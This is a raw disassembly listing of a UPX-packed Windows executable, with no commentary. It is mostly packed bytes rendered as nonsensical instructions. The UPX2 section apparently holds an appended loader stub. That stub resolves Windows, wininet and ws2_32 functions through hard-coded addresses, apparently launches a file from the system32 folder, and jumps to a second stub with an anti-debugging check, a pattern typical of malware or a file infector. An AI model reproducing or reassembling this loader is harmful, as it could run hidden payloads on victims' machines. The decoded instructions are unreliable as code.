4490C6F6h, 0F7791C4Ch, 30CCA3BBh, 0EAC737BFh, 0A46446BAh dd 8BA52176h, 0AFA72E9Dh, 0BF436BA9h, 673B1679h, 17368E0Fh dd 0E7FAF8BCh, 0D549A0FBh, 51AFAFC0h, 0BDAF95E7h, 0ADB9BCB9h dd 0ACB1ACE7h, 0A6AF99C9h, 0A50BEE0Fh, 0A2B9ACACh, 0ACA7BBACh dd 89FBFAA5h, 0FAA96497h, 0CF75E409h, 7AAFC7ADh, 0FC99367Ah dd 0E7D1C0C3h, 0D333CDC0h, 0C2219D99h, 6549EF60h, 92ABE0D3h dd 0C58C4401h, 7AC1225Ah, 82BE9821h, 0AFAFBDAFh, 0D08542F5h dd 0FA02CAB1h, 7ADD443Fh, 42E998CAh, 171ACADBh, 0FBCE0908h dd 0F3498BCBh, 3FAFAE8Fh, 0F23CBC70h, 0BDD5ED8Dh, 0B8F28FCEh dd 514BBD1h, 4FED9842h, 0BBDD7EC6h, 0AFB6D5D4h, 0CAD58842h dd 59CD420Ah, 0A8400ACAh, 0E77585C9h, 19AF8DE7h, 0AEAD2F36h dd 0AF9D742h, 0D552C592h, 0C154D242h, 0F8CBA30Ah, 9FA79B3Dh dd 3AFD50Dh, 0DF22121Dh, 4824180Dh, 0AED59803h, 52503256h dd 0AFAFA1FDh, 1E701300h, 1F070415h, 701B02h, 2171F02h dd 61701D11h, 0AFAB479Dh, 111CA6E1h, 5A521D1Eh, 343E3907h dd 7023273Fh, 70223F36h, 7D865307h, 373B2F3Dh, 20253F22h dd 314A635Eh, 0E731D77h, 62B93C6Eh, 62627108h, 1E617E62h dd 56A97004h, 70488A3Bh, 0F420626Ch, 0EB23DBh, 5A57497Bh dd 173AF5Ch, 502DD333h, 445A4154h, 0EB845570h, 9AEB0BB8h dd 1B1C5039h, 50000303h, 0ABD2C706h, 58994E8Fh, 745007B0h dd 5034503Eh, 5027503Fh, 0A6A66A23h, 6024CB32h, 69DC5951h dd 53736550h, 4D14E6B6h, 8A50577Eh, 341E2951h, 8A7058FBh dd 0C234CAD7h, 7653CF07h, 3DD33098h, 17731651h, 23AF1057h dd 50565F73h, 4F514056h, 0B0D8DA45h, 0AF305018h, 501FB5AFh dd 3A49D114h, 19B4A22Ah, 60FF784Ch, 37402475h, 711FB103h dd 8F0C148Fh, 54506025h, 7DFE3BFFh, 0AED570Ch, 0DD310C58h dd 1D258CDDh, 5066577Eh, 60277E68h, 8B2BFF31h, 0BC50194Bh dd 6B745013h, 7D33506Fh, 349F704Fh, 548C58F2h, 0B44E9210h dd 50AF46EFh, 5E508E8Eh, 51CF4650h, 67BF7652h, 78101231h dd 0DB415349h, 0E8388E9Bh, 8324893Ch, 7A335020h, 0EE12C68Bh dd 0CF753BCCh, 25185E40h, 546DD18Dh, 443044Bh, 0ABCF760Ah dd 933868Ch, 9B970C72h, 55D73515h, 0A3186B05h, 40535B50h dd 5140E818h, 64CFAFABh, 783A5155h, 0E15C6949h, 0F8CB4180h dd 891F9050h, 350FA57Eh, 0D4FA80Fh, 4CBBDAD8h, 0B8CF4199h dd 18407B6Ch, 0CF758130h, 0A45CBCDBh, 5CF030F3h, 295F705Ch dd 5CE15CF0h, 1EAFEE50h, 0D85CF0DEh, 50595010h, 505753BCh dd 19B14E91h, 1F1044C5h, 0EF10202Ch, 0E2792B72h, 43135750h dd 6FA0CE29h, 5043D528h, 0B9F60BFBh, 7FA84043h, 52239665h dd 735EAEAFh, 60918210h, 0D4586608h, 0B4A213D8h, 40E92D83h dd 0E851AFBEh, 0A2705C40h, 0FD296631h, 5F2F575Dh, 0B5CF7588h dd 20514845h, 0C0565FD4h, 5FD4295Fh, 52505FC5h, 0ACCE1DD7h dd 3C5FD42Fh, 98CA505Fh, 0F8D4FA8Eh, 9A43133Fh, 4FDC596Fh dd 83E39h, 6C220070h, 5090F68Bh, 69511416h, 996C3B62h dd 426CD41Fh, 11522545h, 2B725003h, 0C44CD45Dh, 0FFAFCB51h dd 9656BB4Ch, 23750C0Ch, 3320390Ch, 0CFD13674h, 0BCAFA92Fh dd 0B4AF574Ch, 14350350h, 37253235h, 3C392639h, 11353735h dd 0E2368B34h, 23253AAFh, 3B3F0424h, 23473E35h, 25423F1Ch dd 0C22F26ADh, 3C310620h, 47113525h, 3F78201Fh, 7FAE5C33h dd 642374E6h, 26343113h, 63392031h, 42B2FEB3h, 3524252Fh dd 43613D22h, 0EB533962h, 35F32F42h, 22040F45h, 69072931h dd 0BF22134Bh, 358BBD8Ch, 35024E31h, 4553F3Dh, 6445C38h dd 3E242239h, 25E686BDh, 378110Ch, 25F2815h, 0F163E22h dd 1B65862Ah, 1872A3A5h, 0D3000404h, 0D9217F8Eh, 0B627010h dd 5D1B1F70h, 8BAD515Ah, 3F1BADFDh, 7D52143Eh, 2437541Ch dd 75706A38h, 7931BD25h, 787F48CBh, 0A4E92904h, 763B2DE6h dd 393C20F7h, 4539D533h, 0F37D287Fh, 9B27BE88h, 3D3F337Dh dd 359D2220h, 0B8F0734h, 5084AF78h, 50041517h, 41345236h dd 8D7BADF1h, 3DC52387h, 0E1332623h, 3DF28D87h, 35512735h dd 0F625F58h, 0AD9C8CB6h, 64612547h, 5557A753h, 0CA393E57h dd 6162537Eh, 88436960h, 68E3C32Bh, 7356284Fh, 5CCB8C57h dd 1F606162h, 2F2F2579h, 0EB70C8ABh, 2150305h, 1E581419h dd 50560819h, 18712B09h, 756AB8F1h, 95F79D34h, 3AFA2A6h dd 704161Fh, 0C150211h, 233F391Dh, 8D0C933Fh, 0E7D3A086h dd 2225130Ch, 98065922h, 0E50CAE23h, 293B112h, 2903EC25h dd 0A202C0ADh, 0B7F1D72Fh, 363407CAh, 3E382331h, 3423342Ah dd 2686423Ch, 27190343h, 0C076F31h, 5E8830F1h, 2DB693Ch dd 0E41B5D07h, 53CC7386h, 362170A5h, 0A75ED6BFh, 26703739h dd 68264BADh, 0CD623526h, 37E9E61Bh, 40037034h, 0E84B3514h dd 4471E267h, 4B47730Ch, 0CB620C6Fh, 12501CFBh, 0FCC1706Fh dd 6DCF4A65h, 0E04EEF73h, 5604FD12h, 391467C2h, 3DEBCE23h dd 36BE26C4h, 0CC3D377Fh, 3C7FA67Ah, 33743399h, 2924395Ah dd 3E311D70h, 895B94Eh, 61994AE1h, 95CDE4DCh, 2648326h dd 585E1103h, 0AFAFBFECh, 0F4914BAFh, 8D19CFDEh, 348B4F15h dd 5DB5E595h, 739BB2FAh, 3333C972h, 2348184Ch, 0BDAFAFAFh dd 0DCCA93A2h, 9C1DD506h, 83FD5FB1h, 67394556h, 0C8F8ADDDh dd 9E205B46h, 4415001Fh, 0A867AFAFh, 0BF621A69h, 8817FEB3h dd 0EAD48FEDh, 23D0674Eh, 5DA5DBD1h, 0C2B02D1Ah, 0B88FAFAFh dd 0E8957DAEh, 0D5B07096h, 38EDCCh, 0E6793Ah, 129364D2h dd 0C858412Fh, 0AFAFAFAFh, 0B7E7E24Ch, 27D9CDCCh, 83C74A6Dh dd 0DD0079F4h, 166AC6F5h, 42B8ACDDh, 0FF40BB46h, 0A8152014h dd 0AFAFAFBAh, 28C63A80h, 113CFE1h, 0D6F877BBh, 59DA6920h dd 0F192448Eh, 462A0391h, 0C7D594EFh, 0F08FF328h, 0C879B75Fh dd 3D9CECEh, 0C45774AEh, 0AFAFAFAFh, 25F3BC9Ah, 0A94DF14Eh dd 9B95E4B8h, 0A08B4A1Eh, 0D7693987h, 2BC4DC4Ah, 0D2434896h dd 1BEF6EE3h, 0A07FAFAFh, 0BB37B012h, 30E767E2h, 8788E3FAh dd 3554D072h, 0AF1BF62Ah, 15D508D6h, 0AC4BAFF6h, 0BEA93EA6h dd 62C09906h, 0E7F66B1Ah, 0BB83882Ah, 0C7BE1233h, 0A75448D8h dd 61000FB8h, 0F6CA539Ch, 0C8E4CA39h, 7C6C0828h, 39E29D64h dd 8C0EA844h, 6483E49Ch, 0C0F4831Dh, 5B3024D0h, 2112B93Dh dd 0B3D7ECFh, 3C8C5525h, 0F7380B74h, 0E750197Eh, 0C6E65D34h dd 3B957C7Dh, 314C37FDh, 8B51A03Eh, 7C25D688h, 2A3F7F22h dd 208B2932h, 1189FCECh, 0F4442232h, 0FD305C29h, 8293C75h dd 86371A68h, 9A3B16A1h, 237E31E6h, 0D4772528h, 3E976A66h dd 6D7E4616h, 3DD0E037h, 7F9A16DEh, 554C3C78h, 3764EB2Bh dd 413F204Ah, 43312A7Eh, 9F4B3693h, 31AE6359h, 104A0F43h dd 373FDE3Eh, 273B2513h, 370DEDC0h, 4F24880Eh, 4FF53334h dd 0ACF9BB09h, 7D233F3Ch, 0F77E0831h, 3BFDE270h, 0FB25B30Bh dd 0EE32463Ch, 0E6EB756Dh, 2236E97Fh, 1A313C36h, 5EBC59AEh dd 31223763h, 24317E2Ah, 3D5BD1D0h, 2766D73Dh, 2DEB8A7Dh dd 4EB5FE3Ah, 33329B25h, 0EF373671h, 2F8B5BBAh, 3D3C3B3Ah dd 21203F3Eh, 27C22402h db 28h ; ( db 29h, 2Ah, 8Ah db 8 db 0AEh, 0Fh, 0A9h db 11h db 12h, 13h, 14h db 15h db 16h, 17h, 18h db 19h db 1Ah, 1Bh, 1Eh db 0ACh ; db 1, 7, 2Bh db 0F1h ; db 8, 10h, 4 db 4Ah ; J db 8, 9, 0Ah db 4Bh ; K db 0E8h, 0FDh, 0A5h db 2 db 0D1h, 0F0h, 27h db 68h ; h db 70h, 7Ah, 0E6h db 57h ; W db 0B9h, 10h, 71h db 52h ; R db 37h, 0DCh, 0AFh db 9Bh ; db 1Bh, 5Ch, 0A6h db 6 db 9Ah, 13h, 1Bh ; --------------------------------------------------------------------------- jo short loc_31508081 add [esi+3], dh lds edi, [esi] cmpsb xor al, 5Bh pop ds push ds pop ss assume ss:UPX0 pop edx pop ebx sbb [edi-4], ebp or eax, 656457AAh retn 1F1Ah ; --------------------------------------------------------------------------- dw 7F5Ch dd 4190501h, 74D13B3Fh, 172B064Ah, 0E6B5A736h, 24734133h dd 0D44729E5h, 90B0570Fh, 70F2529Bh, 0EE86A378h, 3253B80Dh db 34h ; --------------------------------------------------------------------------- loc_31508081: ; CODE XREF: UPX1:3150803Cj imul esi, [eax+64h], 19h adc eax, 59456670h ; CODE XREF: UPX1:3150809Dj push esi pop ebx pusha cld dec esi in al, 65h adc [esi+20h], al bsf edi, [ecx+50h] cmp esp, [edi] and [ebx+31h], edx jl short near ptr loc_31508085+4 sahf in eax, 0B6h ; Interrupt Controller #2, 8259A push edx sbb eax, 395F570Ch push ebx sub al, 42h pop eax out 39h, eax xor eax, 9743617Dh imul bl pop eax ficom dword ptr [ecx+ebx*2-385041F0h] scasd push ecx cmp al, 23h and al, 22h xor edi, ds:35171120h and al, 1Ch aas xor esi, [ecx] cmp al, 35h sbb [esi], edi db 36h aas pop edi or esp, [ecx] push es les eax, [ebx] add dl, [ecx+ebx*2] xor edi, [esi+15h] out 44h, eax das sub [ebp+7], eax or ds:8DA1716h, esi shl dword ptr [eax-32h], cl add al, 39h retf 0C7EDh ; --------------------------------------------------------------------------- db 0E9h, 3Dh, 5Eh db 5Bh ; [ db 4, 3Fh, 70h db 45h ; E db 0F0h, 35h, 0BDh db 5Ch ; \ db 50h, 16h, 11h db 5Ch ; \ db 0EFh, 12h, 6Ch db 0A6h ; db 5Dh, 6Fh, 1Dh ; --------------------------------------------------------------------------- aas xor al, 0FCh jge short loc_3150812F xor [esi-20h], eax retn ; --------------------------------------------------------------------------- db 7Dh, 11h, 0DEh dd 2E0E1139h, 56A45ABFh, 13598F4Fh, 4E29203Fh, 682BAEB4h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- cmp [esi], edi loc_3150812F: ; CODE XREF: UPX1:3150810Fj adc eax, 0D1013528h cmpsb scasd push esi mov ebp, 0CA3C3F2Eh and [ebx+62h], ah add edi, [esi] xor [eax], esp and edi, [eax] aas and al, 49h ; --------------------------------------------------------------------------- db 8Dh ; db 0FDh, 9Dh, 0F0h db 83h ; db 42h, 62h, 22h db 23h ; # db 5Fh, 4, 55h db 23h ; # db 0FDh, 11h, 96h db 65h ; e db 7Ch, 48h, 0A6h db 56h ; V db 0ABh, 0D0h, 71h db 1Eh db 35h, 28h, 24h db 38h ; 8 db 20h, 22h, 4 db 3Ch ; < db 9Bh, 37h, 28h db 15h db 26h, 58h, 0AFh db 31h ; 1 db 16h, 0DBh, 3 db 0E1h ; db 0E9h, 0E7h, 12h db 0B4h ; db 2Bh, 1Fh, 32h db 3Ah ; : db 0C9h, 44h, 14h db 0C6h ; db 37h, 43h, 5Ah db 9Fh ; db 45h, 0E7h, 1Ch db 31h ; 1 db 15h, 99h, 9Ah db 0FDh ; db 45h, 6Ah, 76h db 7Fh ; db 15h, 28h, 33h db 0E2h ; db 8Bh, 31h, 2Bh db 4 db 73h, 3Eh, 0Ch db 56h ; V db 35h, 20h, 35h db 0C7h ; db 7Ch, 59h, 0Fh db 41h ; A db 17h, 3Eh, 7Eh db 42h ; B db 3Fh, 0F0h, 88h db 6Fh ; o db 5Bh, 11h, 34h db 34h ; 4 db 22h, 5Fh, 44h db 1Ch db 39h, 32h, 22h db 78h ; x db 5Ch, 0E6h, 0D4h db 31h ; 1 db 0D9h, 7Bh, 1Dh db 75h ; u db 16h, 8Ch, 58h db 37h ; 7 db 4Fh, 0FBh, 0Fh db 35h ; 5 db 18h, 5Eh, 40h db 0C6h ; db 14h, 0D7h, 0CFh db 9Bh ; db 3Ch, 0B1h, 92h db 3Ch ; < db 46h, 4Dh, 20h db 0F2h ; db 33h, 3Bh, 17h db 7Dh ; } db 81h, 31h, 3Dh db 25h ; % db 22h, 0B5h, 1Dh db 8Fh ; db 28h, 3Ch, 66h db 0D9h ; ; --------------------------------------------------------------------------- retn 94A3h ; --------------------------------------------------------------------------- db 5Dh ; ] db 3Ah, 0C8h, 15h db 0C8h ; db 61h, 49h, 5Eh db 32h ; 2 db 0D1h, 5Eh, 2Bh db 13h db 49h, 0B9h, 61h db 19h ; --------------------------------------------------------------------------- retn 8B33h ; --------------------------------------------------------------------------- db 26h ; & db 0D3h, 0B4h, 3Bh db 35h ; 5 db 34h, 5Ah, 33h db 43h ; C db 3Dh, 7Dh, 2 db 0Dh db 28h ; ( db 99h ; db 20h db 4Bh ; K db 6Ah ; j db 58h ; X db 15h db 2Ah ; * db 35h ; 5 db 76h ; v db 94h ; db 43h ; C db 0D6h, 0Eh, 6Dh db 50h ; P db 81h, 38h, 8 db 0F1h ; db 9Dh, 0BEh, 45h db 29h ; ) db 20h, 24h, 4Ah db 0E2h ; db 94h, 40h, 57h db 9Dh ; db 0E6h, 7Fh, 5Ah db 14h db 42h, 31h, 5Eh db 0BCh ; db 2Bh, 55h, 93h db 26h ; & db 39h, 36h, 29h db 16h db 37h, 9Ah, 6Ch db 85h ; db 46h, 0E0h, 0E7h db 0F1h ; db 40h, 0DFh, 7 db 3Fh ; ? db 29h, 7Ch, 41h db 3Dh ; = db 0D6h, 91h, 0EEh db 1Bh db 35h, 29h, 40h db 2 db 0E2h, 4Eh, 35h db 0A9h ; db 33h, 0D7h, 47h db 6Eh ; n db 0BFh, 44h, 11h db 33h ; 3 db 21h, 25h, 39h db 22h ; " db 46h, 4Ah, 0D7h db 5Dh ; ] db 1Dh, 19h, 0DFh db 0Ch db 24h, 0E6h, 0E9h db 9 ; --------------------------------------------------------------------------- cmpsd push 0FFFFFF91h aaa retn 0BF5Dh ; --------------------------------------------------------------------------- db 11h db 40h, 5Eh, 6Bh db 0C4h ; db 71h, 5Dh, 6Eh db 5Fh ; _ db 1, 0BCh, 0C0h db 0E0h ; db 86h, 5Ah, 65h db 41h ; A db 75h, 60h, 0C8h db 95h ; db 36h, 54h, 7Dh db 71h ; q db 40h, 0CEh, 0B1h db 0DEh ; db 15h, 0E5h, 0Fh db 11h db 32h, 39h, 0A5h db 3 db 38h, 1Dh, 93h db 16h db 44h, 0DBh, 0FFh db 3Eh ; > db 43h, 8Eh, 0A8h db 8Dh ; db 0B5h, 27h, 6Bh db 28h ; ( db 3Fh, 39h, 55h db 31h ; 1 db 3Eh, 23h, 39h ; --------------------------------------------------------------------------- loc_315082B4: ; CODE XREF: UPX1:315082E7j push esp xor edi, [edi+3F9BA6E6h] and ecx, [edi] ; CODE XREF: UPX1:31508322j ; --------------------------------------------------------------------------- db 15h, 18h, 0Fh ; --------------------------------------------------------------------------- and [esp+edx+130F5B37h], cl sub [eax], ch push 3C1AC876h sbb al, 0B7h sar dword ptr [ebx], 1 retn ; --------------------------------------------------------------------------- db 0D3h db 2Dh ; - ; --------------------------------------------------------------------------- xor bh, [eax] push edi and [ecx], ch adc bh, [edx+6Bh] jmp short loc_31508324 ; --------------------------------------------------------------------------- retf 9FB2h ; --------------------------------------------------------------------------- lea ecx, [edi] cmp [eax+63h], bh jns short loc_315082B4 imul eax, [edi+2224234Ch], 19565D41h or ebx, [ecx-1599C2C4h] loc_315082FA: ; CODE XREF: UPX1:3150835Dj pop edi cld and al, 0E7h out 89h, al ; DMA page register 74LS612: ; Channel 6 (address bits 17-23) cmp al, 0C4h mov ecx, 2327516Ch ; CODE XREF: UPX1:31508367j sub al, 0DBh and al, 36h dec ecx sal dh, cl dec ecx add cl, [ebx+35h] imul eax, [esi], 6AF2C138h aas inc esp mov [ebx+61h], bl xor esp, [esi+4Bh] jno short loc_3150837D jns short loc_315082BB loc_31508324: ; CODE XREF: UPX1:315082DDj cmp esi, esp rol dword ptr [ebx], cl sbb [edi+ebx], esi movsb add [ebx-78h], ch cmpsb mov al, 0DAh mul dword ptr [ebp+5] and edx, [ecx] inc ecx cmp al, 49h push ecx or ebx, [esi+1Eh] inc ecx dec ebx not byte ptr [esi+67h] or eax, 27C33EEBh add eax, [edi] test [ebp+20524F2h], edx xor al, 0F5h wait loop near ptr loc_315083D0+1 or eax, [edx+52h] pop eax and edx, [edx+5Dh] push ecx jl short loc_315082FA loop loc_315083DD imul edi, [edi], 0E247645Bh ; CODE XREF: UPX1:3150837Bj jl short near ptr loc_31508302+2 loop loc_315083C7 loc_3150836B: ; CODE XREF: UPX1:31508379j pop ecx push esp inc ebx inc eax add al, 9Fh push eax call far ptr 0A516h:15000746h jnz short loc_3150836B jg short near ptr loc_31508361+3 loc_3150837D: ; CODE XREF: UPX1:31508320j or eax, 53108377h lahf retf 4FBDh ; --------------------------------------------------------------------------- dw 5F50h dd 56515B51h, 4342645Ch, 0C8884D48h, 60B5512Bh, 8D5B6165h dd 5290597Ch, 205C573Bh ; --------------------------------------------------------------------------- ror ebp, 1 loc_315083A6: ; CODE XREF: UPX1:315083F5j jmp near ptr 71B4D220h ; --------------------------------------------------------------------------- db 57h dd 0E208B5DAh, 6B385356h ; --------------------------------------------------------------------------- loc_315083B4: ; CODE XREF: UPX1:315083ECj fcom qword ptr [edx+2F925126h] loc_315083BA: ; CODE XREF: UPX1:31508409j xor al, 0E0h push ecx dec esi or [ebx], al and eax, 53547EEAh arpl ax, ax loc_315083C7: ; CODE XREF: UPX1:31508369j xchg eax, ecx pop eax push esi db 64h xchg ax, sp nop db 67h cwde loc_315083D0: ; CODE XREF: UPX1:31508353j mov ebp, 7EB054A4h xor al, 0C0h stosd popf inc ecx inc edx ja short loc_31508437 loc_315083DD: ; CODE XREF: UPX1:3150835Fj db 3Eh or [eax], bl push 30509068h push eax sal byte ptr [ecx], 1 or esi, [eax+6Dh] push ebx jl short loc_315083B4 push ecx push eax push eax push eax push eax push eax push eax jo short loc_315083A6 push eax push eax push eax push eax push eax push eax push eax push eax push eax xor dh, ch push eax xor [eax], al popa fucomp st(6) push eax loopne loc_315083BA scasd pop es rcr dword ptr [ebp-3FBF4451h], cl rol al, 0C0h rol al, 0DAh push esi push ss fcom dword ptr [edi+17h] push ecx mov esp, ds:0D34EDB57h mov esi, 228B41ACh mov ebp, 505051E8h push eax push ecx mov esp, ds:0D34EDB57h loc_31508437: ; CODE XREF: UPX1:315083DBj mov esi, 418B41ACh nop push ecx mov esp, [ebx] mov edi, 4EDB5925h sar dword ptr [esi+238B41ACh], cl mov ah, 61h cdq sar dword ptr [eax-6EA2DDADh], cl mov al, 58h ficom dword ptr [esi+16h] shl dword ptr [eax-26DBDB51h], cl xchg eax, ebp push ecx mov esp, ds:0D34EDB57h mov esi, 418B41ACh cdq push ecx mov esp, ds:0D34EDB57h mov esi, 418B41ACh cdq and eax, 8B511170h and eax, 0D34EDB57h mov esi, 418B41ACh cdq push ecx mov esp, [ebx] mov edi, 4EDB5925h sar dword ptr [esi+238B41ACh], cl ; CODE XREF: UPX1:315084DDj mov ah, 0D3h xchg eax, ecx push edx shr dword ptr [ebp-50505CB0h], 1 ; CODE XREF: UPX1:315084F6j rol dword ptr [ecx+7F44DD51h], cl shr dword ptr [ebp-25A0D954h], cl push edx adc bl, al push edi pop ss assume ss:nothing sbb ds:0AF33B9A7h, esp scasd scasd rcr bl, 52h rcl dword ptr [edx-2CA826ACh], cl xchg eax, edi push esp sar dword ptr [ecx+51A12754h], cl lahf mov ecx, 0AFAFAF1Ch push cs fldenv byte ptr [edi+50509AE9h] push eax ficom dword ptr [edi+17h] jl short near ptr loc_31508492+5 insb push ecx daa cmpsd shr byte ptr [edi+51h], 1 and eax, 0DA57DBA2h andps xmm6, oword ptr [esi] xchg eax, ecx mov eax, 40909158h setalc xchg eax, esp jns short near ptr loc_3150849C+4 sar byte ptr [ebx-265FAE48h], 1 push edi rcl dword ptr [edi-4D7726ABh], cl mov ebp, ebx out dx, al push eax xor [eax+50h], dl fist dword ptr [edi+59h] nop and al, 15h fisttp dword ptr [edi] push esp fst st(4) pusha push eax rcl byte ptr [eax+50h], 1 push ecx mov ds:5897D300h, eax scasd mov ah, 0D0h push eax push eax ; --------------------------------------------------------------------------- db 0C5h ; db 0DAh, 57h, 17h db 58h ; X align 2 dw 8C24h db 0D9h ; db 0A9h, 29h, 57h db 5Fh ; _ db 0E7h, 57h, 17h db 0 db 17h, 0E9h, 7 db 18h db 0A2h, 0FEh, 5 aPPpyrWSUtIpPp1 db 'PPY$WSӓTPP1ǯPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP' db 'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP' db 'PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP',0 align 1000h UPX1 ends ; Section 3. (virtual address 00009000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00009000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31509000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 90C4h, 908Ch, 3 dup(0) dd 90D1h, 909Ch, 3 dup(0) dd 90DEh, 90A4h, 3 dup(0) dd 90E9h, 90ACh, 3 dup(0) dd 90F4h, 90B4h, 3 dup(0) dd 9100h, 90BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C48D44h, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 69730000h dd 6Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dword_31509200 dd 59E85Bh, 648B0000h, 0EBB80824h, 0EB000004h, 0A16764FAh ; DATA XREF: start+7Fo dd 408B0018h, 40B60F30h, 0F88302h, 0E83C75h, 5D000000h dd 2320ED81h, 858B0040h, 402367h, 236F8503h, 0F08B0040h dd 236B858Bh, 85030040h, 40236Fh, 33FE8B50h, 8532ACC9h dd 402377h, 8D3B41AAh, 402373h, 2BC3EF7Ch, 30FF64C0h, 0B8208964h dd 12345678h, 60000387h, 84000000h, 0 ; --------------------------------------------------------------------------- push eax xor [eax], eax add es:[eax], al push eax ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 315092EE SIZE 00000017 BYTES call near ptr loc_315092D2+1 jnb short loc_315092EE db 65h insb insb xor esi, [edx] db 2Eh, 64h insb insb add [ebx+68h], dl db 65h insb insb inc ebp js short near ptr loc_315092FC+1 arpl [ebp+74h], si db 65h inc ecx add [ebx+3Ah], al pop esp push edi dec ecx dec esi inc esp dec edi push edi push ebx pop esp push ebx jns short near ptr byte_3150931F jz short near ptr byte_31509313 insd xor esi, [edx] pop esp push edx inc ecx jns short near ptr dword_31509324 outsd db 67h jnb near ptr 92ECh db 2Eh, 65h js short near ptr byte_31509323 add [eax+49h], cl dec edx dec ebx dec esp dec ebp dec esi dec edi push eax push ecx push edx push ebx push esp push ebp push esi push edi pop eax pop ecx pop edx loc_315092D2: ; CODE XREF: startp add [edx+52h], bl start endp ; sp-analysis failed push edx mov ebx, 77E6D961h call ebx pop ebx push ebx add ebx, 0Ch push ebx push eax mov ecx, 77E6B332h call ecx pop edx push 1 ; START OF FUNCTION CHUNK FOR start loc_315092EE: ; CODE XREF: start+5j push 0 push 0 mov ecx, edx add ecx, 1Ah push ecx push 0 push 0 loc_315092FC: ; CODE XREF: start+17j call eax mov eax, offset dword_31509200 jmp eax ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) db 3 dup(0) byte_31509313 db 0 ; CODE XREF: start+2Dj dd 2 dup(0) db 3 dup(0) byte_3150931F db 0 ; CODE XREF: start+2Bj db 3 dup(0) byte_31509323 db 0 ; CODE XREF: start+3Bj dword_31509324 dd 7D6h dup(0) ; CODE XREF: start+35j dd 210000h, 760h dup(0) UPX2 ends ; Section 4. (virtual address 0000D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3150D000h align 2000h _idata2 ends end start